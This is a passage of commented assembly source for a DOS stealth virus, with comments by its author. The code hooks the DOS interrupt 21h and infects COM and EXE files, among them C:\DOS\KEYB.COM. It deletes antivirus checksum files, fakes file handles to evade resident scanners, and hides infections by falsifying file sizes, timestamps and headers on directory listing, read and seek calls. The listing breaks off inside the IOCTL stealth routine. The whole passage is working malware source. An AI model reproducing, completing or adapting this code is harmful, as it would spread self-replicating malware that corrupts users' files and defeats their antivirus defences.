JB @@StealthDIR ; If it is, stealth it!
@@Salto0002: CMP AH, 4Ah ; Execute program? (4Bh)
JBE @@Salto0000
CMP AH, 4Ch
JB @@DesinfectaHandle ; If it is, disinfect file
@@Salto0000: CMP AH, 3Dh ; Open file via handle?
JZ @@DesinfectaHandle ; Disinfect file, then
CMP AH, 6Ch ; Open file via handle?
JZ @@DesinfectaHandle ; Disinfect file, then
CMP AH, 0Fh ; Open file via FCB?
JZ @@DesinfectaFCB ; Disinfect file, then
CMP AX, 5700h ; Get date/time from handle?
JZ @@HoraFechaHandle ; Then, stealth it!
CMP AH, 3Fh ; Read from handle?
JZ @@LeeHandle ; If it is... stealth it!
; CMP AH, 40h ; Prepared for write to handle, but
; JZ @@EscribeHandle ; due to problems it has been set off
CMP AH, 42h ; Pointer seek on handle?
JZ @@StealthPuntero ; If it is, stealth it!
CMP AH, 23h ; Get file size via FCB?
JZ @@TamanyoArchivoFCB ; If it is, stealth it!
@@FinInt21h: JMP DWORD PTR CS:[AntInt21h-200h] ; Jump to real int 21h
;; The virus will infect this path on the second time a terminate function is
;; called
RutaKEYB DB 'C:\DOS\KEYB.COM', 0
;; Memory write zone
Basura6 dw 0
;; To infect KEYB.COM
@@InfectaKEYB: PUSH CS ; Set DS:DX to CS:RutaKEYB
POP DS
MOV DX, Offset RutaKEYB-200h
JMP @@SigueInfec02 ; Jump to infect it
;; Infect FCB
@@InfectaFCB: PUSHA ; Save registers
PUSH DS
PUSH ES
CALL ObtenNombreFCB ; Get in DS:DX the name of the file
MOV AH, 4Bh ; Set this value to AH to aprofite the
; routine
JMP @@Infecta2 ; Jump
;; Infect handle
@@InfectaHandle:
PUSHA ; Save registers
PUSH DS
PUSH ES
CALL ParcheaInt24h ; Patch int 24, 1Bh and 23h
CMP BX, 0004 ; Check if it is a system handle
JBE @@Fin00 ; If it is, jump and exit
MOV AH, 35h ; Duplicate handle
CALL Int21h
JC @@Fin00 ; If error, exit
MOV BX, AX ; Put handle on BX
JMP @@SigueInfec01 ; Jump
;; Infect by get/set attributes or terminate program
@@InfectaAtributos:
InfectaKeyb:
@@Infecta: PUSHA ; Save registers
PUSH DS
PUSH ES
@@Infecta2: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h
CMP AH, 43h ; Is get/set attributes function?
JZ @@SigueInfec02 ; If it is, jump
CMP AH, 4Bh ; Is execute program?
JZ @@SigueInfec02 ; If it is, jump
CALL ObtenNombre ; Routine to get the name of the program
; which is going to be terminated
CMP BYTE PTR CS:[Desinfeccion-200h], 0 ; Is this value 0?
JZ @@SigueInfec02 ; If it is, continue normally
DEC BYTE PTR CS:[Desinfeccion-200h] ; Decrement this value
JNZ @@InfectaKEYB ; If it isn't 0, infect KEYB.COM
JMP @@Siguiente ; If it is 0, disinfect the program.
; That's because normally the first program
; which calls to "terminate execution" func-
; tions is the infected host, so, doing this,
; the host will be disinfected and the victim
; doesn't know which file carried the virus to
; his/her computer :)
@@SigueInfec02: CALL BorraDATs ; Delete ANTI-VIR.DAT and CHKLIST.MS (if
; they exist)
MOV AX, 2D00h ; Open file to infect
CALL Int21h
JC @@Fin00 ; If error, exit
MOV BX, AX ; Put handle on BX
@@SigueInfec01: CALL FakeHandle ; Fuck resident AVs :)
CALL OperaHandle ; Check handle for many things. Returns
; the SFT of the handle in DS:DI
JC @@Fin01 ; If there is an error, exit
PUSH DS ; Put DS on ES
POP ES
PUSH CS ; DS <= CS
POP DS
MOV AX, 4700h ; Get date/time of handle
CALL Int21h
MOV [Hora-200h], CX ; Save them
MOV [Fecha-200h], DX
MOV AH, 1Ah ; Get today's date
CALL Int21h
SUB CX, 01980d ; Convert it to packed on CX
ROR CX, 7
PUSH DX
XOR DH, DH
OR CX, DX
POP DX
XOR DL, DL
ROR DX, 3
OR CX, DX
SUB CX, [Fecha-200h] ; Subtract file's date
JZ @@Fin01 ; If it's equal or one more, don't infect it
DEC CX
JZ @@Fin01
CALL CambiaAtributos ; Change file attributes and write
; permissions by SFT
CALL LeeCabecera ; Read the first 18 bytes of the file
JC @@Fin02 ; If error, exit
PUSH SI ; Copy this 18 bytes to Cabecera2
PUSH DI
PUSH ES
PUSH CS
POP ES
MOV DI, Offset Cabecera2-200h
MOV CX, 000Ch
REP MOVSW
POP ES
POP DI
POP SI
CALL CompruebaNombre ; Check if the name of the file is ne-
; arly the infected before
JC @@Fin02 ; If it is, don't infect it (anti-goat
; system)
MOV AX, [SI] ;Get two first bytes of the file in AX
CMP AX, 4CB4h ; Are a "MOV AH,4C" instruction?
JZ @@Fin02 ; If they are, don't infect the file
CMP AL, 0B8h ; Check if it is a "MOV AX,..."
JNZ @@Siguuuu ; If it isn't, jump and continue
CMP BYTE PTR [SI+02], 4Ch ; Check if it is a "MOV AX,4C??"
JZ @@Fin02 ; If it is, exit
@@Siguuuu: CMP AL, 0E9h ;Check if first instruction is a "JMP"
JNZ @@Continua002 ; If not, continue
MOV CL, BYTE PTR CS:[Hora-200h] ; Get seconds in CL
AND CL, 1Fh
CMP CL, 1Eh ; Are they "60"?
JZ @@Fin02 ; If they are, exit (already infected)
@@Continua002: ADD AX, 0B2A6h ; First two bytes = "MZ"?
JZ @@InfectaEXE ; If they are, infect EXE
CMP AX, 0CF3h ; Are they "ZM"?
JZ @@InfectaEXE ; Infect EXE, then
@@InfectaCOM: MOV BYTE PTR [TipoEjec-200h], 0 ; Executable type=COM
MOV AX, [SI] ; Store first three bytes in Los3bytes
MOV WORD PTR [Los3bytes-200h], AX
MOV AL, BYTE PTR [SI+2]
MOV BYTE PTR [Los3bytes-200h+2], AL
CALL PtrFinal ;Handle pointer to the end of the file
OR DX, DX ; Size > 65536?
JNZ @@Fin02 ; Then, exit
CMP AX, 1000h ; Size < 4096?
JB @@Fin02 ; Then, exit
CMP AX, 0E000h ; Size > 57344?
JA @@Fin02 ; Then, exit
CALL MiraSiRoundedSize ; Check if file size is divisible by
; 512 or 500 (rounded size :) )
JZ @@Fin02 ; If it is, exit
ADD AX, 0100h ; Add PSP size
MOV WORD PTR [InicioVirus-200h+1+16h], AX ; Set delta-
; offset
SUB AX, 0103h ; Subtract PSP size and 3 bytes to get
; JMP displacement
PUSH AX ; Save it onto stack
CALL HazVirus ; Make a virus :)
POP AX ; Recover AX
OR CX, CX ; If error size, CX=0
JZ @@Fin02 ; If CX=0, then exit
ADD AX, DX ; Add displacement to decryptor
MOV WORD PTR [SaltoCOM-200h+1], AX ; Form a JMP
MOV DX, Offset NewVirus-200h ; DS:DX=address of stored
PUSH CS ; virus
POP DS
MOV AH, 30h ; Copy it to file
CALL Int21h
JC @@Fin02 ; If write error, exit
CALL PtrInicio ; Go to the beginning of file
MOV DX, Offset SaltoCOM-200h ; Write JMP
MOV CX, 0003
MOV AH, 30h
CALL Int21h
JC @@Fin02 ; If error, don't set seconds
@@Fin03: AND BYTE PTR [Hora-200h], 0E0h ; Set seconds to 60
OR BYTE PTR [Hora-200h], 1Eh
@@Fin02: MOV AX, 4701h ; Put original date/time
MOV CX, CS:[Hora-200h]
MOV DX, CS:[Fecha-200h]
CALL Int21h
CALL RestauraAtributos ; Restore attributes
@@Fin01: CALL UnfakeHandle ; Restore original handle
@@Fin00: CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h
POP ES ; Recover registers
POP DS
POPA
CMP AH, 4Ch
JNZ @@Qwerty
CMP BYTE PTR CS:[Desinfeccion-200h], 1
JNZ @@EndTotal
RET
@@Qwerty: CMP AH, 3Eh ; Is it the "close handle" function?
JZ @@SEUUF ; If it is, jump to SEUUF
CMP AH, 10h ; Is it the "close FCB" function?
JZ @@SEUUF ; If it is, jump to SEUUF
CMP AH, 43h ;Is it the "get/set attributes" func.?
JZ @@FinInt21h ; If it is, jump to exit
CMP AH, 4Bh ; Is it the "execute" function?
JZ @@FinReInfeccion ; Then, jump
@@EndTotal: MOV BYTE PTR CS:[NoStealth-200h], 0 ;Set "NoStealth" value
; to 0
JMP @@FinInt21h ; Jump and exit
; The next code is made to avoid int 24h errors when you try to write a pro-
; tected disk. I don't know why, but when you write to a handle, you close the
; duplicated handle and unpatch the int 24h, when you close the handle comple-
; tely, int 24h is called. So I had to investigate and I achieved to avoid
; this problem performing this code (from "@@SEUUF" to "@@FinReinfeccion").
; It doesn't matter if int 24h is patched when you close the handle. If you
; try to do anything in a protected disk, only the virus activities will be
; stealthed, but no the system activities (like it would seem to everybody
; watching this) but don't ask me why it happens exactly :)
; Maybe because MS-DOS is made by Shit-o-soft :)
@@SEUUF: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h again
SUB AH, 10h ; Close handle
CALL Int21h
PUSHF
CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h
POPF
RETF 0002 ; Interrupt return
@@FinReinfeccion:
POP AX ; Recover original AX and flags
POPF
RETF 0002 ; Interrupt return
;; Memory write zone
Basura7 dw 0
;; Let's infect EXE files. EXE header is in DS:SI.
@@InfectaEXE: MOV BYTE PTR [TipoEjec-200h], 1 ; Executable type=EXE
MOV EAX, DWORD PTR [SI+14h] ; Save CS:IP and SS:SP
MOV DWORD PTR [InicIP-200h], EAX ; addresses on header
MOV EAX, DWORD PTR [SI+0Eh]
MOV DWORD PTR [InicSS-200h], EAX
MOV AX, [SI+12h] ; Get value on +12h
XOR AX, [SI+0Eh] ; XOR it with SS
CMP AX, 'MD' ;Check if it is "MD", Mental Driller :)
JZ @@Fin03 ; If it is (already infected), exit
CALL PtrFinal ; Go to the end of the file
MOV CX, 200h ; Divide file size by 512
DIV CX
OR DX, DX ; Check remainder
JZ @@Salto001 ; If 0, jump
INC AX ; Round AX
@@Salto001: CMP AX, [SI+04] ; Check file size in header. If it is
JNZ @@Fin02 ; different, exit
CMP DX, [SI+02]
JNZ @@Fin02
CALL PtrFinal ; Get file size again
CMP DX, 06h ; Check if file size is over 65536*5
JAE @@Fin02 ; If it is, exit
OR DX, DX ; Size < 65536?
JNZ @@Salto002 ; If it isn't, size is OK
CMP AX, 1000h ; If size < 4096, exit
JB @@Fin02
@@Salto002: CALL MiraSiRoundedSize ; Check if rounded size (multiple of
; 512 or 500)
JZ @@Fin02 ; If it is, exit
PUSH AX ; Save size onto stack
PUSH DX
MOV CX, AX ; Put the low word of size in CX
CALL TamanyoReal ; Get the size the virus would have in
; this file in AX
ADD AX, CX ; Add it to the size of the file
ADC DX, +00
MOV CX, 200h ; Divide it by 512
DIV CX
OR DX, DX
JZ @@Salto003
INC AX ; Round AX
@@Salto003: MOV [SI+04], AX ; Put values on header
MOV [SI+02], DX
POP DX ; Recover file size
POP AX
MOV CX, 0010h ; Divide it by 16
DIV CX
SUB AX, [SI+08h] ; Subtract header size in paragraphs
JBE @@Fin02 ; If error, exit
MOV [SI+16h], AX ; Put result like new initial segment
PUSH AX ; Save AX onto stack
MOV WORD PTR [Offset InicioVirus-200h+1+16h], DX ;Put
;initial delta-offset
PUSH DX ; Save DX onto stack
CALL HazVirus ; Make a virus!
POP AX ; Recover DX in AX
OR CX, CX ; Error?
JNZ @@SaltoJAJA ; If not, continue
; Cool labels! :)
POP AX ; Nivelate stack
JMP @@Fin02 ; Exit
@@SaltoJAJA: ADD AX, DX ; Add displacement to decryptor to AX
MOV [SI+14h], AX ; Put it on the header
POP AX ; Recover initial segment from stack
ADD AX, (LongVirus2 / 16)+6 ;Add virus size in paragraphs
XOR DX, DX ; DX=0
MOV [SI+0Eh], AX ; Put new SS:SP address
MOV [SI+10h], DX
MOV DX, Offset NewVirus-200h ; Write the constructed virus
MOV AH, 30h ; to file
CALL Int21h
JC @@Fin02 ; If error, exit
CALL PtrInicio ; Go to the beginning of the file
MOV AX, 'MD' ; Put infection mark
XOR AX, [SI+0Eh]
MOV [SI+12h], AX
MOV AH, 30h ; Overwrite old header
MOV CX, 0018h
MOV DX, SI
CALL Int21h
JC @@Fin02 ; If error, don't set seconds to 60
JMP @@Fin03 ; If there isn't error, set them to 60
;; Memory write zone
Basura8 dw 0
;;; DTA ADDRESS SETTING
@@NuevoDTA: MOV WORD PTR CS:[DirecDTA-200h], DX ; Save new direction
MOV WORD PTR CS:[DirecDTA-200h+2], DS ; in our variables
JMP @@FinInt21h
;;; DIRECTORY STEALTH
@@StealthDIR: MOV BYTE PTR CS:[Estado-200h], AH ; Save function
CLC ; Clear Carry-Flag
SUB AH, 10h ; Call int 21h function
CALL Int21h
PUSHF ; Save ALL
PUSHA
PUSH DS
PUSH ES
JC @@FinStealthDIR ; If error, exit
LDS BX, DWORD PTR CS:[DirecDTA-200h] ; Get DTA address
CMP BYTE PTR CS:[Estado-200h], 12h ; Via FCBs?
JBE @@Stealth1001 ; Then, jump here
@@Stealth2001: MOV SI, 0FFFFh ; SI=-1
MOV DI, 0FFFDh ; DI=-3
JMP @@StealthX001 ; Jump and continue
@@Stealth1001: INC AL ; AL=FF?
JZ @@FinStealthDIR ; Error, then exit
XOR SI, SI ; SI=DI=0
XOR DI, DI
CMP BYTE PTR [BX], 0FFh ; ¨Extended FCB?
JNZ @@StealthX001 ; If not, continue
ADD BX, +07 ; Add 7 to BX
@@StealthX001: ADD BX, 0017h ; Get time address on DTA fields
MOV AL, BYTE PTR [BX+SI] ; Get in AL the seconds
AND AL, 1Fh ; Are them set to 60?
CMP AL, 1Eh
JNZ @@FinStealthDIR ; If they aren't, exit
CMP WORD PTR [BX+DI+08], +00 ; Check if size is very small
JNZ @@StealthX002
CMP WORD PTR [BX+DI+06], (LongVirus2 + 1000h)
JB @@FinStealthDIR ; If very small, exit
@@StealthX002: MOV AX, WORD PTR [BX+SI] ;Get real size of the virus in
AND AX, 1FE0h ; AX
ROR AX, 5
ADD AX, LongVirus2
SUB WORD PTR [BX+DI+06], AX ; Subtract it from file size
SBB WORD PTR [BX+DI+08], +00 ; fields
MOV AL, BYTE PTR [BX+SI+01] ; Set a more credible seconds
AND AL, 1Eh ; value
AND BYTE PTR [BX+SI], 0E0h
ADD [BX+SI], AL ; This instruction has the op-
; code 0000 :)
@@FinStealthDIR:
POP ES ; Recover all registers
POP DS
POPA
POPF
RETF 0002 ; Interrupt return
;; Memory write zone
Basura9 dw 0
;;;;; PROGRAM DISINFECTION VIA FCB
@@DesinfectaFCB:
PUSHA ; Save registers
PUSH DS
PUSH ES
CALL ObtenNombreFCB ; Get name of file on the FCB
XOR AX, AX ; AX=0
JMP @@Desinfecta02 ; Jump here
;;; DESINFECSION DE POGRAMAS QE SE HAVREN
;;; (pogranm disinfecshion wehn iou open dem)
@@DesinfectaHandle:
PUSHA ; Save registers
PUSH DS
PUSH ES
@@Desinfecta02: CALL ParcheaInt24h ; Patch int 24h, 1Bh and 23h
CMP AH, 6Ch ; Check if function 6Ch is used
JNZ @@Siguiente ; If it isn't used, jump
MOV DX, SI ; Put SI on DX
@@Siguiente: MOV BP, AX ; Save AX on BP
CALL BorraDATs ; Delete ANTI-VIR.DAT and CHKLIST.MS (if
; they exist)
MOV AX, 2D00h ; Open file
CALL Int21h
JC @@FinX00 ; If error, exit
MOV BX, AX ; Put handle on BX
CALL FakeHandle ; Fuck resident AVs :)
CALL GetSFT ; Get the SFT on ES:DI
JC @@FinX01 ; If error, exit
@@KKVH: MOV AX, BP ; Put BP on AX
XOR AH, 50h ; AH=4B?
CMP AH, 1Bh
JNZ @@KKVI ; If it isn't, jump
CALL MirarsiStealth ; Desactivate stealth if it's a special
; program
@@KKVI: CALL CambiaAtributos ; Change attributes and access mode
MOV AX, 4700h ; Get date/time from file
CALL Int21h
PUSH CS
POP DS
MOV [Hora-200h], CX ; Save it
MOV [Fecha-200h], DX
CALL LeeCabecera ; Read file header (first 18 bytes)
MOV AX, [SI] ; Check if EXE
ADD AX, 0B2A6h
JZ @@DesinfEXE ; Jump here if it's an EXE
CMP AX, 0CF3h
JZ @@DesinfEXE ; Jump here if it's an EXE
@@DesinfCOM: CMP BYTE PTR [SI], 0E9h ; If first byte isn't a JMP opco-
JNZ @@FinX02 ; de, exit (file is not infected)
@@MiraSegundos: MOV AL, BYTE PTR [Hora-200h] ; Get seconds
AND AL, 1Fh
CMP AL, 1Eh ; Are they "60"?
JNZ @@FinX02 ; If not, exit
JMP @@SigueDesinf ; Jump
@@DesinfEXE: MOV AX, [SI+12h] ; Check if it has the infection mark
XOR AX, [SI+0Eh] ; for EXEs
CMP AX, 'MD'
JNZ @@FinX02 ; If not, exit
JMP @@MiraSegundos
@@SigueDesinf: MOV AX, ES:[DI+11h] ; Get file size
MOV DX, ES:[DI+13h]
OR DX, DX ; Check if the file is too small
JNZ @@SigueDesinf2
CMP AX, 1000h + LongVirus2
JB @@FinX02 ; If it's too small, exit
@@SigueDesinf2: CALL PtrCasiFinal ; Pointer to (end_of_file - 1Ah)
MOV CX, 001Ah ; Read 1Ah bytes
MOV DX, Offset NewVirus-200h
MOV SI, DX
MOV AH, 2Fh
CALL Int21h
JC @@FinX02 ; If error, exit
MOV AH, [SI+18h] ; Get key for decryption
PUSH DI ; Save registers
PUSH SI
PUSH ES
PUSH CS
POP ES
MOV DI, SI ; DI=SI
MOV CX, 0018h ; Decrypt all bytes read. They are the
CLD ; original header of the file
@@LoopDesinf1: LODSB
XOR AL, AH
STOSB
LOOP @@LoopDesinf1
POP ES ; Restore registers
POP SI
POP DI
CALL PtrInicio ; File pointer to the beginning
MOV CX, 0018h
MOV DX, SI
MOV AH, 30h ; Write original header
CALL Int21h
JC @@FinX02 ; If error, exit
MOV DX, (10000h - LongVirus2) ; Put file pointer on the
MOV AX, WORD PTR [Hora-200h] ; end minus virus size
AND AX, 1FE0h
ROR AX, 5
SUB DX, AX
MOV CX, 0FFFFh
MOV AX, 3202h
CALL Int21h
XOR CX, CX ; Truncate file size
MOV AH, 30h
CALL Int21h
JC @@FinX02 ; If error, exit
@@FinX03: MOV AL, [SI+19h] ; Get original seconds
MOV BYTE PTR [Hora-200h], AL ; Put them on time field
@@FinX02: MOV CX, CS:[Hora-200h] ; Restore date/time
MOV DX, CS:[Fecha-200h]
MOV AX, 4701h
CALL Int21h
CALL RestauraAtributos ; Restore original attributes
@@FinX01: CALL UnfakeHandle ; Restore original handle
@@FinX00: CALL ParcheaInt24h ; Unpatch int 24h, 1Bh and 23h
POP ES ; Recover all registers
POP DS
POPA
CMP AH, 4Bh ; Check if "execute" function
JNZ @@FinInt21h ; If it isn't, jump
MOV WORD PTR CS:[Basura10-200h], DX ; Save pointer to file
MOV WORD PTR CS:[Basura10-200h+2], DS ; name
SUB AH, 10h ; Execute file (or whatever with func-
CALL Int21h ; tion 4Bh)
PUSHF ; Save flags and AX
PUSH AX
MOV AH, 4Bh ; Put 4B on AH
PUSHA ; Save all registers
PUSH DS
PUSH ES
LDS DX, DWORD PTR CS:[Basura10-200h] ; Get saved pointer
; to file name and
; reinfect file
JMP @@Infecta2
;; To save pointer to file name, but it is a memory write zone, too
Basura10 dw 2 DUP (0)
;;;;; WHEN YOU WANT TO GET AN INTERRUPT VECTOR
@@ObtenerVector:
CMP AL, 21h ; Int 21h vector?
JNZ @@FinalOV01 ; If it isn't, exit
PUSHA ; Save registers
PUSH ES
XOR AX, AX ; ES=0
MOV ES, AX
MOV AX, CS ; AX=CS
MOV BX, 0050h
CMP AX, ES:[BX+36h] ; Check if segment on TVI is the same
; than the virus' segment
JNZ @@FinalOV02 ; If not, exit
POP ES ; Recover registers
POPA
LES BX, DWORD PTR CS:[AntInt21h-200h] ; Return original
; int 21h
IRET ; Return
@@FinalOV02: POP ES ; Recover registers and jump to inte-
POPA ; rrupt
@@FinalOV01: JMP @@FinInt21h
;;;;; WHEN YOU WANT TO SET AN INTERRUPT VECTOR
@@FijarVector: CMP AL, 21h ; Int 21h?
JNZ @@FinalOV01 ; If not, exit
PUSHA ; Save registers
PUSH ES
XOR AX, AX ; ES=0
MOV ES, AX
MOV BX, 0050h
MOV AX, CS ; Compare if segment in TVI is the same
CMP AX, ES:[BX+36h] ; than the virus' segment
JNZ @@FinalOV02 ; If not, exit
CLI ; Put on AntInt21h the new interrupt
MOV CS:[AntInt21h-200h], DX ; vector
MOV CS:[AntInt21h-200h+2], DS
STI
POP ES ; Recover registers and return
POPA
IRET
Basura11 dw 0
;;;;;;;;; STEALTH FOR FUNCTION 57h
@@HoraFechaHandle:
CMP BX, 0004 ; System handle?
JBE @@FinInt21h ; Then exit
PUSHA ; Save registers
PUSH DS
PUSH ES
CALL GetSFT ; Get SFT of the handle
JC @@FinY00 ; If error, exit
MOV AH, BYTE PTR ES:[DI+0Dh] ; Get seconds
AND AH, 1Fh ; If they aren't "60", then finish
CMP AH, 1Eh
JNZ @@FinY00
CMP AL, 01 ; Check if "set" function
JZ @@HoraFechaHandle2 ; If it is, jump
JA @@FinY00 ; Exit if AL>1
;; Here to get real seconds in file
@@HoraFechaHandle1:
PUSH WORD PTR ES:[DI+15h] ; Save handle file pointer
PUSH WORD PTR ES:[DI+17h]
CALL CambiaAtributos ; Change attributes and access mode
MOV AX, ES:[DI+11h] ; Get file size in AX-DX
MOV DX, ES:[DI+13h]
SUB AX, +01 ; Subtract 1 from size
SBB DX, +00
MOV ES:[DI+15h], AX ; Put this value like new file pointer
MOV ES:[DI+17h], DX
MOV CX, 0001 ; Read one byte
MOV DX, Offset NewVirus-200h
MOV AH, 2Fh
CALL Int21h
JC @@FinY01 ; If error, exit
MOV CX, ES:[DI+0Dh] ; Get date/time from SFT
MOV DX, ES:[DI+0Fh]
MOV CL, BYTE PTR [NewVirus-200h] ; Get seconds
MOV WORD PTR [Hora-200h], CX ; Save date/time
MOV WORD PTR [Fecha-200h], DX
CALL RestauraAtributos ; Restore attributes
POP WORD PTR ES:[DI+17h] ; Restore file pointer
POP WORD PTR ES:[DI+15h]
POP ES ; Restore registers
POP DS
POPA
MOV CX, WORD PTR [Hora-200h] ; Put date and time on DX and
MOV DX, WORD PTR [Fecha-200h] ; CX respectively
IRET ; Interrupt return
;; Here to set seconds to file
@@HoraFechaHandle2:
MOV BYTE PTR [NewVirus-200h], CL ;Put here the new seconds
AND CL, 0E0h ; Eliminate seconds
OR CL, 1Eh ; Set seconds to 60
MOV ES:[DI+0Dh], CX ; Put them directly in the SFT
MOV ES:[DI+0Fh], DX ; fields
PUSH WORD PTR ES:[DI+15h] ; Save file pointer
PUSH WORD PTR ES:[DI+17h]
CALL CambiaAtributos ; Change attributes and access mode
MOV AX, ES:[DI+11h] ; Get file size
MOV DX, ES:[DI+13h]
SUB AX, +01 ; Subtract 1 from file size
SBB DX, +00
MOV ES:[DI+15h], AX ; Put this new file pointer
MOV ES:[DI+17h], DX
MOV AH, 30h ; Write the new seconds to the end
MOV DX, Offset NewVirus-200h ; of the infected file
MOV CX, 0001
CALL Int21h
CALL RestauraAtributos ;Restore attributes and access mode
POP WORD PTR ES:[DI+17h] ; Restore file pointer
POP WORD PTR ES:[DI+15h]
POP ES ; Recover registers
POP DS
POPA
IRET ; Interrupt return
@@FinY01: CALL RestauraAtributos ; Restore attributes
POP WORD PTR ES:[DI+17h] ; Restore file pointer
POP WORD PTR ES:[DI+15h]
@@FinY00: POP ES ; Restore registers
POP DS
POPA
JMP @@FinInt21h ; Jump to original int 21h
;; Memory write zone
Basura12 dw 0
;;;;; WRITE STEALTH
;;; Normally, if you open a handle of a file that can be written, teorically
;; it would be disinfected too, but the computer world is very strange :) ,
;; so we will do it, just in case.
;; DISABLED UNTIL I FIND THE F*%! BUG
;@@EscribeHandle: ; All put off, it won't be assembled
; CMP BX, 0004
; JBE @@FinInt21h
; PUSHA
; PUSH DS
; PUSH ES
; CALL FakeHandle
; CALL GetSFT
; JC @@FinalEscrHandle
; MOV AL, ES:[DI+02]
; AND AL, 03h
; CMP AL, 01
; JB @@FinW00
; PUSH WORD PTR ES:[DI+15h]
; PUSH WORD PTR ES:[DI+17h]
; CALL ParcheaInt24h
; MOV BP, 4000h
; JMP @@KKVH
;@@FinalEscrHandle:
; CALL ParcheaInt24h
; @@FinW00: CALL UnfakeHandle
; POP ES
; POP DS
; POPA
; JMP @@FinInt21h
;;;;; READ STEALTH
@@LeeHandle: CMP BX, 0004 ; System handle?
JBE @@FinInt21h ; Then exit
PUSHA ; Save registers
PUSH DS
PUSH ES
CALL GetSFT ; Get SFT of this handle in ES:DI
JC @@Salida ; If error, exit
MOV AL, ES:[DI+0Dh] ; Get seconds on AL
AND AL, 1Fh
CMP AL, 1Eh ; Seconds=60?
JNZ @@Salida ; If not, exit
CALL TamanyoReal ; Get size of the virus in the file
SUB WORD PTR ES:[DI+11h], AX ; Subtract virus size to file
SBB WORD PTR ES:[DI+13h], +00 ; size
LDS DX, DWORD PTR ES:[DI+15h] ; Save current pointer
MOV CS:[Puntero3-200h], DX
MOV CS:[Puntero3-200h+2], DS
POP ES ; Recover registers
POP DS
POPA
SUB AH, 10h ; Execute read function
CALL Int21h
PUSHF ; Save registers and flags
PUSHA
PUSH DS
PUSH ES
CALL GetSFT ; Get SFT on ES:DI
JC @@Salida2 ; If error, exit
CALL TamanyoReal ; Get in AX the virus size
; for this file
ADD WORD PTR ES:[DI+11h], AX ;Add virus size to file size
ADC WORD PTR ES:[DI+13h], +00
PUSH DS ; Save DS
LDS SI, DWORD PTR CS:[Puntero3-200h] ; Get saved pointer
MOV AX, DS ; AX=DS
POP DS ; Restore DS
OR AX, AX ; If read function didn't read any-
JNZ @@Salida2 ; thing from the file header, exit
CMP SI, +18h
JAE @@Salida2
MOV WORD PTR CS:[SaltoCOM+1-200h], SI ; Save low word of
; file pointer
MOV SI, DX ; Put read-buffer offset in SI
MOV BP, DS ; Put read-buffer segment in BP
LDS DX, ES:[DI+15h] ; Load file pointer in DS-DX
MOV CS:[Puntero3-200h], DX ; Save current file pointer
MOV CS:[Puntero3-200h+2], DS
CALL CambiaAtributos ; Change attributes and access mode
CALL PtrCasiFinal ; Put file pointer to (end - 1Ah)
PUSH CS ; Read stored original header
POP DS
MOV DX, Offset NewVirus-200h
MOV CX, 001Ah
MOV AH, 2Fh
CALL Int21h
JC @@Salida3 ; If error, exit
MOV DS, BP ; Put the read-buffer segment in DS
MOV BP, DX ; Put in BP the direction where the
; original header has been read
ADD BP, WORD PTR CS:[SaltoCOM-200h+1] ; Add to BP the low
; word of the file pointer
MOV CX, 0018h ;Put in CX the value (18h-low_word...)
SUB CX, WORD PTR CS:[SaltoCOM-200h+1]
MOV AH, BYTE PTR CS:[NewVirus-200h+18h] ; Get encrypt key
@@LoopE02: MOV AL, CS:[BP] ;Copy original header to the read buffer
XOR AL, AH
MOV [SI], AL
INC BP
INC SI
LOOP @@LoopE02
@@Salida3: CALL RestauraAtributos ; Restore file attributes
LDS DX, DWORD PTR CS:[Puntero3-200h] ;Restore file pointer
MOV ES:[DI+15h], DX
MOV ES:[DI+17h], DS
JMP @@Salida2 ; Jump and exit
;; Memory write zone
Basura13 dw 0
;;;;; POINTER SEEK STEALTH
@@Salida: POP ES ;Restore registers and jump to original int 21h
POP DS
POPA
JMP @@FinInt21h
@@StealthPuntero:
CMP BX, 0004 ; System handle?
JBE @@FinInt21h ; If it is, exit
PUSHA ; Save registers
PUSH DS
PUSH ES
CALL GetSFT ; Get SFT of the handle in ES:DI
JC @@Salida ; If error, exit
MOV AL, ES:[DI+0Dh] ; Get seconds in AL
AND AL, 1Fh
CMP AL, 1Eh ; Seconds=60?
JNZ @@Salida ; If the file is not infected, exit
CALL TamanyoReal ; Get size of the virus in this file
SUB WORD PTR ES:[DI+11h], AX ; Subtract this value to the
SBB WORD PTR ES:[DI+13h], +00 ; file size
POP ES ; Perform the int 21h function
POP DS
POPA
SUB AH, 10h
CALL Int21h
PUSHF
PUSHA
PUSH DS
PUSH ES
CALL GetSFT ; Get SFT, blah, blah...
JC @@Salida2
CALL TamanyoReal ; Get virus size...
ADD WORD PTR ES:[DI+11h], AX ; Recover original file size
ADC WORD PTR ES:[DI+13h], +00
@@Salida2: POP ES ; Recover registers
POP DS
POPA
POPF
RETF 0002 ; Interrupt return
;;;;; STEALTH FOR FUNCTION 23h
@@TamanyoArchivoFCB:
SUB AH, 10h ; Perform function
CALL Int21h
PUSHA ; Save registers
PUSH DS
PUSH ES
INC AL ; Error? (AL=FF)
JZ @@HayError03 ; If error, exit
MOV DS, WORD PTR CS:[DirecDTA-200h+2] ; Get DTA address
MOV BX, WORD PTR CS:[DirecDTA-200h]
CMP BYTE PTR [BX], 0FFh ;If extended MCB, add 7 to address
JNZ @@SaltoDIR7 ; to handle both normal and exten-
ADD BX, 0007h ; ded ones
@@SaltoDIR7: ADD BX, 0017h ; Check if seconds=60
MOV AL, [BX]
AND AL, 1Fh
CMP AL, 1Eh
JNZ @@HayError03 ; If not, exit
CMP WORD PTR [BX+08h], +00 ; Check if file size is too
JNZ @@SaltoDIR8 ; small
CMP WORD PTR [BX+06h], LongVirus+1000h
JB @@HayError03 ; If it is, exit
@@SaltoDIR8: MOV AX, [BX] ; Get virus size for this file
AND AX, 1FE0h
ROR AX, 5
ADD AX, LongVirus2
XOR DX, DX ; DX=0
MOV CX, [BX+0Eh] ; Get size of size fields
DIV CX ; Divide file size by size fields
OR DX, DX ; Round AX
JZ @@SaltoDIR9
INC AX
@@SaltoDIR9: SUB WORD PTR [BX+21h], AX ; Subtract virus size from file
JNC @@HayError03 ; size
DEC WORD PTR [BX+23h]
@@HayError03: POP ES ; Recover registers
POP DS
POPA
IRET ; Interrupt return
;;;; IOCTL FUNCTIONS STEALTH
;; It consists on check if they are manipulating a faked handle. In that case,
;; we return the information of the real handle and we put the WRITABLE bit
;; on, so the sacnning program thinks that the operations to the handle are
;; legal :)
@@FuncionesIOCTL:
CMP BYTE PTR CS:[ControlFunc44h-200h], 1
JNZ @@AcabaIOCTL
CMP BX, CS:[FakedHandle-200h]
JNZ @@AcabaIOCTL
PUSHA
PUSH ES
